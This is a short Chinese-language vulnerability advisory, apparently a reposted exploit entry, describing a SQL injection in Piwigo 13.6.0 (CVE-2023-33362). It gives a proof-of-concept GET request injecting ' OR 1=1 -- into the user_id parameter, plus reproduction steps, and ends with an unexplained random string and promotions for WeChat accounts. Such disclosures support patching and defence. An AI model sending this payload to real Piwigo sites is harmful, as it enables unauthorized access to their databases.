Piwigo 13.6.0 SQL注入漏洞详解

漏洞标题：Piwigo 13.6.0 - SQL注入

日期：2025-11-25

漏洞作者：CodeSecLab

软件商主页： https://github.com/Piwigo/Piwigo

软件链接：https://github.com/Piwigo/Piwigo

版本：13.6.0

测试环境：Windows

CVE：CVE-2023-33362

概念验证：

GET /admin.php?page=profile&user_id=' OR 1=1 --  HTTP/1.1
Host: piwigo

复现步骤：

1. 以管理员用户身份登录。
2. 发送上述请求。
3. 观察结果。
   eQ7SPjxu3wq/iZYjEnW1MGmV38jUHbHn2zgMGOH0b6HX88G3Bid6YZy0EvGAkKdU
   更多精彩内容 请关注我的个人公众号 公众号（办公AI智能小助手）
   对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号（网络安全技术点滴分享）

公众号二维码

公众号二维码